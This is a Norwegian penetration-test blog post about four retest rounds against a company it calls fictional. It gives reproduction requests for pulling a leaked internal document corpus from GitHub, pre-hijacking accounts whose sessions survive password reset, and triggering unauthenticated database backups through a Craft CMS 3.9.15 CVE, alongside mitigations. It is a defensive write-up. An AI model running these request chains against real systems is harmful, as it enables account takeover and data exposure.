# Hver runde fant noe nytt: fire retest-runder mot Klovn AS
URL: https://erik.no/blogg/2026-07-16-hver-runde-fant-noe-nytt
Publisert: 2026-07-16 | Tags: pentest, retest, craft-cms, github, account-takeover, security
> Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no.
> Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke
> behandle dem som ekte virksomheter eller personer. Innholdet er autorisert,
> sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke
> gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Den vanligste misforståelsen om en pentest er at den er en engangshendelse:
du fikser funnene, så er du ferdig. Oppdraget mot Klovn AS (`klovnas.no`) varte
fire runder over ti dager, og det interessante var ikke det som ble funnet i
runde 1 — det var at **hver eneste retest-runde avdekket nye høye funn, selv
etter at alle kritiske var lukket**. Runde 1 fant en SSTI-kjede til full
Craft-admin (samme type SSTI som i [forrige innlegg om tre kritiske
funn](/blogg/2026-07-21-tre-kritiske-funn-den-enkleste-var-den-verste) — den
går jeg ikke gjennom igjen her). Runde 4, en uke senere, fant to helt nye
høy-funn som ikke eksisterte i scope da runde 1 ble skrevet.
Dette innlegget handler om retest-rytmen: hva som ble fikset, hva som holdt
tett under regresjon, og de tre funnene som gjør at jeg fortsatt ikke kan skrive
«ferdig» — en lekket intern kunnskapsbase på GitHub, en stille
konto-forhåndskapring i en egenutviklet app, og en levende CVE i Craft sin
EOL-linje som en white-box 0day-smie dro frem. Det er også en ærlig fortelling
om hvor fort en agent i loopen produserer plausible funn — og hvor mye arbeid
som ligger i å skille de ekte fra de falske.
## Kontekst
Klovn AS er et lite kommunikasjonshus med en bred `.no`-portefølje: et
flaggskip-nettsted på Craft CMS, en Moodle Workplace LMS for kurs, en
kunde-CRM, en AI/LLM-dokumentpipeline og en håndfull React/Express-SPA-er på
Replit og Render. Scopet var `owned-by-org` — alt Klovn beviselig eier er i
spill. IT-sjefen, Bjørn Andersen (`bjorn.andersen@klovnas.no`), ville ha en
løpende test med retest, ikke en engangsrapport. Avtalen ga stående
autorisasjon og et åpent vindu, slik at jeg kunne komme tilbake hver gang de
hadde fikset noe, og kjøre fornyet «kom-inn»-jakt på hele angrepsflaten i
tillegg til regresjonstest.
Jeg jobber slik med AI i loopen: parallelle spesialiserte agenter gjør
rekognosering, endepunkt-kartlegging, CVE-gap-analyse og hemmelighetsjakt, mens
jeg styrer scope, leser resultater, bryter inn der det trengs, og tar
vurderingene som krever menneskelig dømmekraft — alvorlighetsgrad, etikk,
hva som faktisk beviser et brudd. Hvert funn ble reprodusert minst to ganger og
forsøkt avkreftet av en uavhengig «skeptiker»-agent før det gikk i rapporten.
## Hver runde fant noe nytt — bildet i fire linjer
Runde 1 (16. juli) fant en kritisk SSTI-kjede mot flaggskipet og en høy
uautentisert AI-backend. Runde 2 og 3 la til flere kritiske funn — et
admin-panel som falt på ett gjettet passord, hardkodede nøkler i en
frontend-bundle, en RCE i en referat-app — pluss en rekke høy/medium. Runde 4
(23. juli) verifiserte at **alle** kritiske funn fra runde 1–3 var lukket, men
fant to nye høy-funn og tre nye medium.
Det positive er verdt å si først: utbedringstakten var svært god. Fire store,
målrettede innbruddsforsøk i runde 4 — mot Moodle, Craft CP, ansatt-appen og
Entra/M365 — feilet samtlige. Referat-RCE-en, nøkkellekkasjen, admin-porten,
SSO-hullene, Craft-SSTI-en (regresjonstestet femte gang, fortsatt tett),
stored-XSS-en, kryss-tenant-BOLA-ene og de offentlige GitHub-repoene — alt
verifisert fikset. Angrepsflaten var målbart hardere. Det er lett å glemme det
når man skal skrive om det som fortsatt er åpent, men det er det bildet
kunden faktisk treffer: nesten alt holdt.
Problemet er at «nesten alt holdt» ikke er det samme som «vi er sikre». De
gjenværende risikoene i runde 4 var av tre andre typer: **data som allerede
lå ute**, **identitetshåndtering i egenutviklede apper**, og **utholdte
plattform-svakheter** i EOL-programvare. Det er det resten av innlegget handler
om.
## Funn 1: den interne kunnskapsbasen lå åpent på GitHub
Funn: — offentlig GitHub-repo lekker hele den interne
kunnskapsbasen, inkludert full aksjonæravtale med selskapsverdsettelse.
Dette er det funnet i runde 4 som overrasket meg mest, fordi det ikke krevde
noen teknisk eksploitasjon i det hele tatt. Klovn hadde et internt
RAG-verktøy de kaller «Klovn Brain» — en Azure AI Search + OpenAI-demo bygd
oppå Microsoft sin offentlige `azure-search-openai-demo`-mal. Repoet
`Klovn-AS/azure-search-openai-demo` ble glemt da de privatiserte de andre
repoene sine 17. juli. Det overlevde fordi privatiseringsrunden bare dekket
utviklerens personlige repoer, ikke org-repoet.
I repoet lå filen `evals/ground_truth_kg.json` — 37 MB med utpakket tekst fra
hele den interne dokumentbasen, committet 23. februar 2026. Innholdet
inkluderer en full aksjonæravtale (to versjoner, 19 og 13 sider) med
A/B-aksjeklasser, Good/Grey/Bad-Leaver-klausuler, styreregler, voldgift —
og en **selskapsverdsettelse på 15 MNOK / 500 kr per aksje** med
grunnleggernes aksjekonverteringsmekanikk. I tillegg et konfidensielt
samarbeidsforslag fra en partner (kurskatalog-prising) og intern
kurslogistikk med Zoom/Miro/Vimeo-lenker.
### PoC / Reproduksjon
**Forutsetninger:** ingen. Ingen konto, ingen innlogging, ingen token. Dette
er det som gjør funnet så ubehagelig — det er rene `curl`-kall mot GitHub sin
offentlige raw-endepunkt.
1. Hent filen direkte fra `main`-branchen:
```bash
curl -sS -o ground_truth_kg.json \
https://raw.githubusercontent.com/Klovn-AS/azure-search-openai-demo/main/evals/ground_truth_kg.json
```
```text
HTTP/2 200
content-type: text/plain; charset=utf-8
content-length: 37367790
```
2. Bekreft at det er den interne kunnskapsbasen, ikke en tom mal:
```bash
md5sum ground_truth_kg.json
grep -c 'Aksjonaeravtale' ground_truth_kg.json
```
```text
32b190dc2f3b2a25d9e440ea97c78e89 ground_truth_kg.json
1379
```
1379 treff på «Aksjonaeravtale» i én fil er ikke et navn som dukker opp tilfeldig
i en Azure-demo. De 82 kunnskapsgraf-nodene i filen er utpakket tekst fra reelle
interne dokumenter — ikke metadata, ikke sammendrag, men selve avtaleteksten.
3. **Negativ kontroll** — hent en fil som _skal_ være der i en ren
Azure-Samples-fork, men som ikke burde inneholde kundedata:
```bash
curl -sS -o /dev/null -w "%{http_code} %{size_download}\n" \
https://raw.githubusercontent.com/Azure-Samples/azure-search-openai-demo/main/evals/ground_truth_kg.json
```
```text
404 0
```
Malen fra Microsoft har ingen slik fil. At den finnes i Klovn sin fork er
fordi noen har committet hele den interne eval-korpusen — sannsynligvis for å
kjøre RAG-evaluering, og glemt at repoet var offentlig.
**Tolkning:** steg 2 beviser at innholdet er kundespesifikt (aksjonæravtalen),
steg 3 beviser at det ikke er en del av malen. Angrepsveien er bokstavelig talt
«søk etter Klovn AS på GitHub → åpne repoet → last ned filen». Ingen alarm,
ingen teknisk barriere, ingen innlogging. Dokumentene har ligget i
Git-historikken siden februar.
**Hvem som kjørte hva:** en agent (leak-sweep-bølgen) kjørte
`gh repo list`, `gh search code` og en serie dorks mot org-en, klonet alle
ikke-fork-repoer og kjørte `gitleaks` + `trufflehog` over hele historikken.
Jeg leste korpus-uttrekket manuelt og gjorde alvorlighetsvurderingen — agenten
flagget «37 MB JSON med Aksjonaeravtale», jeg bekreftet at det var en ekte
aksjonæravtale med verdivurdering og satte den til høy. Hemmelighetsskanningen
ga 0 treff på selve nøkler — ingen `EVAL_API_KEY`, ingen Azure-nøkler i
commits — så dette er ren dokumentlekkasje, ikke credential-lekkasje.
**Mitigering:** gjør repoet privat (eller slett `evals/` og rens
Git-historikken med `git filter-repo` / BFG — filen ligger i historikken siden
februar, så bare å slette den i `main` hjelper ikke). Revurder hva som mates
inn i Klovn Brain-kilden i det hele tatt. Slå på pre-commit
hemmelighets-/PII-skanning og GitHub push protection på org-en. Det positive:
selve Azure storage-kontoen (`klovnstorageXXXX`) nektet all offentlig
blob-tilgang — verifisert med ett anonymt kall — så lagringslaget holdt. Det
var repoet som ikke holdt.
## Funn 2: konto-forhåndskapring med persistent sesjon
Funn: — åpen registrering uten e-postverifikasjon lar
en angriper forhåndskapre vilkårlig konto, og sesjoner overlever passord-reset.
Dette funnet er det jeg synes er mest lærerikt, fordi det er to svakheter som
hver for seg er medium, men som henger sammen til en stille, persistent
kontoovertakelse. Appen er strategi-appen (`klovn-strategi.replit.app`), en
egenutviklet SWOT/strategi-bygger på Replit. Runde 2 og 3 hadde allerede
fikset en masse-tilordnings- og kryss-arbeidsområde-BOLA der; runde 4
regresjonstestet at det holdt. Men den underliggende rotårsaken — ingen
e-postverifikasjon ved registrering — sto åpen.
### Kjeden
Svakhet A er at `POST /api/auth/register` godtar hvilken som helst
e-postadresse uten å verifisere den, og returnerer en umiddelbart gyldig
sesjon. Svakhet B er at sesjoner **aldri** ugyldiggjøres — verken ved
passordbytte eller ved passord-reset. Sammen: en angriper kan registrere en
konto på offerets e-post _før_ offeret noensinne har rørt appen, få en gyldig
sesjon, og den sesjonen overlever offerets senere «tilbakekreving» via
glemt-passord.
### PoC / Reproduksjon
**Forutsetninger:** to uavhengige cookie-jars (angriper og offer), en
canary-postkasse jeg kontrollerer for offeret. Ingen innlogging i appen på
forhånd. Appen tillater åpen selvregistrering.
1. Angriper registrerer offerets rolle-e-post — før offeret har rørt appen:
```http
POST /api/auth/register HTTP/1.1
Host: klovn-strategi.replit.app
Content-Type: application/json
{"email":"admin@klovnas.no","password":"","name":"Admin"}
```
```http
HTTP/1.1 201 Created
Set-Cookie: connect.sid=; Path=/; HttpOnly
Content-Type: application/json
{"id":"15faef3e-0000-4000-8000-000000000001","email":"admin@klovnas.no"}
```
2. Offeret prøver senere å registrere seg på samme e-post:
```http
POST /api/auth/register HTTP/1.1
Host: klovn-strategi.replit.app
Content-Type: application/json
{"email":"admin@klovnas.no","password":"","name":"Admin"}
```
```http
HTTP/1.1 400 Bad Request
{"error":"En bruker med denne e-posten finnes allerede"}
```
3. Offeret tar kontoen tilbake via glemt-passord. Tokenet går til offerets
egen innboks (jeg kontrollerte canary-postkassen), så angriperen kan ikke
stjele det. Offeret resetter passordet og logger inn — **samme konto-ID**
som angriperens.
4. Offeret bygger et arbeidsområde og en strategi med en målbeskrivelse.
5. **Angriperens originale sesjon — mintet _før_ tilbakestillingen — leser
fortsatt alt offeret oppretter:**
```http
GET /api/strategies/11111111-1111-4111-8111-111111111111 HTTP/1.1
Host: klovn-strategi.replit.app
Cookie: connect.sid=
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"id":"1111...","goalDescription":"","ownerId":"15faef3e-..."}
```
Den samme `ownerId`-en som angriperen ble tildelt i steg 1. Passord-reset
evakuerte ikke angriperens sesjon.
### Negativ kontroll og avkreftinger
For å være sikker på at dette var et reelt brudd og ikke en
samme-eier-artefakt, kjørte jeg to uavhengige ende-til-ende-kjeder med separate
cookie-jars og separate canary-postkasser — begge reproduserte at
angripersesjonen overlevde reset og leste offerets data. En uavhengig
refute-agent gikk bevismaterialet etter i sømmene og klarte ikke å avkrefte
det; kjernekomponenten «gammel sesjon overlever reset» er det som holder
funnet oppe.
Jeg testet også det som _kunne_ ha vært en enklere angrepsvei, og forkastet
det: kryss-konto passord-reset er umulig — reset-tokenene går kun til eierens
innboks, og `change-password` krever gjeldende passord. Invitasjons-token-gjetting
er også utelukket: jeg mintet 10 invitasjons-tokens, alle 64-hex fra en
CSPRNG, null konstante byte-posisjoner — uguessbare. Så den eneste veien til
persistent tilgang er forhåndskapring + sesjons-persistens, og den veien
holder.
En ekstra detalj som gjør funnet verre enn det ser ut: appen har også et
timing-orakel i glemt-passord (~95 ms forskjell mellom eksisterende og
ikke-eksisterende e-post), så angriperen kan enumerate hvilke adresser som
ligger ute _før_ forhåndskapring. Og `bjorn.andersen@klovnas.no` (den ekte
IT-sjef-adressen) returnerte 400 «finnes allerede» — altså en
konto-eksistens-orakel i tillegg.
**Hvem som kjørte hva:** agenten kartla registrerings-/reset-/invitasjonsrutene
og mintet invitasjons-tokens for entropi-analyse. Jeg designet
ende-til-ende-kjeden manuelt (det var den delen som avgjorde om dette var
høy eller medium), kjørte de to reproduserbare kjedene selv, og verifiserte
canary-postkassene. Alvorlighetsgraden — høy, ikke medium — er min vurdering,
basert på at offeret ikke trenger å gjøre noe annet enn sin normale
første-innlogging.
**Mitigering:** én fiks lukker både dette og den relaterte
invitasjons-residual-svakheten: krev e-postverifikasjon før noen sesjon
betroes. I tillegg: invalider **alle** sesjoner ved passordbytte og ved
reset (ikke bare den gjeldende). Ved første SSO-innlogging på en e-post som
har en uverifisert passord-konto, krev re-verifikasjon i stedet for stille
sammenslåing. Slett alle uverifiserte forhåndsopprettede kontoer — jeg
forhåndskapret `admin@` og `post@klovnas.no` som bevis, og de må fjernes før
appen eventuelt settes opp igjen (kunden avpubliserte appen midt under
testingen, men `connect.sid` utløper først 30. juli — redeployeres appen
ufikset innen da, er de forhåndskaprede sesjonene levende igjen).
## Funn 3: en levende CVE i Craft sin EOL-linje
Funn: — Craft 3.9.15 (EOL) har en uautentisert
sårbarhet som lar hvem som helst tvinge frem database-backuper og lekke
serverstier. Ingen 3.x-fiks finnes.
Craft SSTI-en fra runde 1 er fikset og regresjonstestet fem ganger — den går
jeg ikke gjennom igjen (se [forrige
innlegg](/blogg/2026-07-21-tre-kritiske-funn-den-enkleste-var-den-verste)).
Men runde 4 hadde en white-box «0day-smie» mot Craft 3.9.15: en agent med
full lokal kildekodelab gjorde CVE-gap-analyse av hele EOL-linja — altså
krysset av alle Craft sine sikkerhetsadvarsler mot hva som aldri ble
backportet til 3.x. Det er en annen type arbeid enn runde 1 sin svarte-boks
testing, og det er verdt å vise fordi det er der fremtidige 3.x-funn kommer
fra så lenge man blir på EOL.
Resultatet var én levende CVE: **CVE-2025-68456**. Updater-kontrolleren i
Craft 3.9.15 er anonym (`allowAnonymous`), og `updater/index`-aksjonen
deler ut en HMAC-signert `data`-blob som `updater/backup` krever. Hele
kjeden er uautentisert og går på omtrent to requests.
### PoC / Reproduksjon
**Forutsetninger:** ingen innlogging. En gjeste-CSRF-token hentes fra en
hvilken som helst side (det er ikke en autentiseringsbarriere).
1. Hent den HMAC-signerte `data`-bloben fra updater-siden:
```http
POST /index.php?p=admin/actions/updater HTTP/1.1
Host: www.klovnas.no
X-CSRF-Token:
```
```http
HTTP/1.1 200 OK
Content-Type: text/html
... Craft.updater = (new Craft.Updater("updater")).setState({
"data": "{\"migrate\":[]}"
}) ...
```
2. Bruk bloben til å tvinge frem en database-backup:
```http
POST /index.php?p=admin/actions/updater/backup HTTP/1.1
Host: www.klovnas.no
X-CSRF-Token:
Content-Type: application/x-www-form-urlencoded
data=%7B%22migrate%22%3A%5B%5D%7D
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"nextAction":"migrate","status":"Updating database…",
"data":"{\"migrate\":[],\"dbBackupPath\":\"/cust/0/klovn_XXXXX/site/storage/backups/klovnas--2026-07-23-163715--v3.9.15.sql\"}"}
```
3. **Negativ kontroll** — samme kjede mot en oppdatert Craft 4.x-demo
returnerer `403` / `404` på `updater/backup` (vendoren av-anonymiserte
updater-aksjonene i 4.16.17 / 5.8.21). På 3.9.15 returnerer den `200` med en
absolutt serversti og versjonen i filnavnet. Det er grensen: EOL-linja lar
den gjennom, oppdatert linje gjør det ikke.
**Tolkning:** responsen i steg 2 beviser tre ting på én gang — at kjeden er
uautentisert (jeg sendte ingen sesjons-cookie), at backupen faktisk ble
skrevet (filnavnet er tidsstemplet og versjonsmerket), og at serverstien
lekkes (`/cust/0/klovn_XXXXX/site/...`). Jeg kjørte kjeden to ganger med
uavhengige HMAC-blober for å bekrefte at det ikke var en cache-rest.
**Hvorfor ikke høyere:** backup-filene er **ikke** hentbare via HTTP —
Servebolt serverer kun offentlig webroot, og `storage/` ligger utenfor. Jeg
verifiserte det med 404 på `/storage/backups/`, `/backups/`,
`/site/storage/backups/` og en rekke path-traversal-forsøk. Kjeden
stopper også før `migrate` / `restore-db` / `revert` — de er destruktive og
forbudt i RoE, så jeg forsøkte dem ikke. Konsekvensen er altså
CPU/disk-utmattelse (en anonym kan tvinge frem backuper i en løkke) pluss
serversti- og versjons-lekkasje — ikke direkte data-tilgang. Det holder til
medium.
**Hvem som kjørte hva:** agenten bygde den lokale kildekodelaben
(`craftcms/cms:3.9.15` + hele vendor-treet), gjorde CVE-gap-analysen og
skrev gadget-jakt-scriptene (`scan-gadgets.php`, `scan-static.py`). Jeg leste
CVE-beskrivelsene, vurderte at `updater/backup`-kjeden var den eneste med
reell uautentisert påvirkning, og satte grensen ved backup (ikke
`migrate`). White-box-arbeidet avkreftet også en rekke andre kandidater på
kildenivå — `seo-file-link` (potensiell LFI/SSRF) var deaktivert, ingen LFI
funnet, ingen weaponiserbar gadget i Sprout sin `validate-condition` — som
er like viktig å dokumentere som funnet selv.
**Mitigering:** ingen fiks finnes for 3.x — vendoren patchet kun 4.16.17 og
5.8.21. Den eneste utbedringen er å oppgradere Craft til 4.17+ eller 5.x.
Det lukker også den relaterte
bruker-enumererings-CVE-en (CVE-2026-29069, samme app) og fremtidige 3.x-gap.
Slett de to backup-filene som nå ligger i `storage/backups/`.
## Det som holdt — og det som kom tilbake
To ting fra tidligere runder sto fortsatt åpne i runde 4, og de er verdt å
nevne fordi de illustrerer hvorfor retest er mer enn regresjon.
**Moodle-rapportlekkasjen** (høy) overlevde tre runder. En fersk
selvregistrert student kan lese — og nå også eksportere med ett klikk
(CSV/XLSX/JSON/PDF) — en admin-laget systemrapport med **128 brukeres** navn,
brukernavn og e-post på tvers av kunder. Tallet har vokst 125 → 127 → 128
over tre runder, fordi nye kunder tilkommer LMS-en. Rotårsaken er at
rapport-79 har feil publikum-innstilling og at selvregistrering står åpen.
Moodle sin tenant-isolasjon holdt forøvrig under direkte testing —
kryss-tenant kurs/bruker-tilgang ble nektet fra en student-rolle.
**E-postforfalskning** (høy) forbedret seg fra 25 til 22 forfalskbare domener —
tre domener fikset SPF/DMARC — men flaggskipets SPF autoriserer fortsatt en
delt tredjepartsvert, slik at en medleietaker der kan sende DMARC-godkjent
e-post fra `klovnas.no`. LMS- og onboarding-domener mangler fortsatt SPF+DMARC.
På den positive siden: fire målrettede innbruddsforsøk i runde 4 feilet
samtlige. Moodle passordspray — 620 forsøk fordelt over 155 brukere, maks fire
feil per konto, lockout-bevisst — ga null treff og ingen utestengelser. Craft
CP passordspray — 25 forsøk mot tre bekreftede brukere — utelukket
sesong-/firma-passord på alle tre. Entra/M365 kryss-tenant er stengt
(Managed tenant, ingen self-service signup, B2B-invitasjoner 401). En
uavhengig Tripletex-replay bekreftet at runde 2 sin nøkkel-rotasjon holder på
alle veier. Hemmelighetsskanning over 18 git-kloner med full historikk ga null
treff. Det er bildet av en angrepsflate som har blitt målbart hardere — bare
ikke ferdig.
## Hva jeg lærte
- **«Fikset de kritiske» er ikke «ferdig».** Klovn lukket alle kritiske funn
runde for runde, og likevel dukket det opp nye høy-funn i hver retest. En
engangspentest fanger øyeblikksbildet; en retest-runde fanger bevegelsen —
og bevegelsen er der risikoen flytter seg.
- **Den dyreste lekkasjen krevde null teknisk eksploitasjon.** GitHub-funnet
var en `curl` mot et offentlig repo. Ingen SSTI, ingen injeksjon, ingen
auth-bypass. Pre-commit-skanning og push protection hadde fanget det;
privatiserings-rutiner som dekket hele org-en (ikke bare
utvikler-repoene) hadde forhindret det.
- **To medium-svakheter kan bli én høy i kjede.** Forhåndskapring alene er
irriterende; sesjons-persistens alene er irriterende. Sammen er de stille,
persistent konto-overtakelse av rolle-adresser. Å teste svakheter isolert
gir feil alvorlighetsgrad — kjeden er det som teller.
- **White-box på EOL-programvare betaler seg.** Svarte-boks-testing mot
Craft 3.9.15 sa «SSTI-en er fikset, vi er gode». White-box CVE-gap-analysen
sa «ja, men her er en annen anonym CVE som aldri ble backportet». Så lenge
man blir på EOL, kommer nye funn fra gapet mellom hva vendoren patchet og
hva de aldri backportet.
- **Agenter i loopen produserer plausible funn fort — og plausible feil like
fort.** Verdien ligger i verifiseringen. Forhåndskapring-kjeden så ut som
et reelt brudd fra første steg, men det var den uavhengige
negate-kjøringen (to cookie-jars) og refute-agenten som gjorde at jeg turte
sette den til høy. CVE-2025-68456 så ut som mulig RCE fra
kildekode-lesning; det var 404-testene på `/storage/backups/` som
nedgraderte den til medium. Verifisering er alvorlighetsgraden.
## Veien videre
Tre ting tar jeg med videre til neste oppdrag med retest-runde: jeg ber
eksplisitt om at privatiserings-rutiner dekker hele GitHub-org-en, ikke bare
navngitte repoer — det var det som lot GitHub-lekkasjen overleve. Jeg
inkluderer «e-postverifikasjon ved registrering» som en egen sjekk-linje i
alle egenutviklede apper med åpen registrering, fordi det er en rotårsak som
lukker flere funn samtidig. Og for EOL-programvare bygger jeg inn en
white-box CVE-gap-sweep som standard — svarte-boks-regresjon fanger ikke
hva vendoren aldri backportet.
Klovn AS har et velbygd utgangspunkt og en utbedringstakt de fleste
organisasjoner burde misunte dem. At jeg fortsatt ikke kan skrive «ferdig»
etter fire runder er ikke et tegn på at de er dårlige — det er et tegn på at
sikkerhet er en bevegelse, ikke et sted.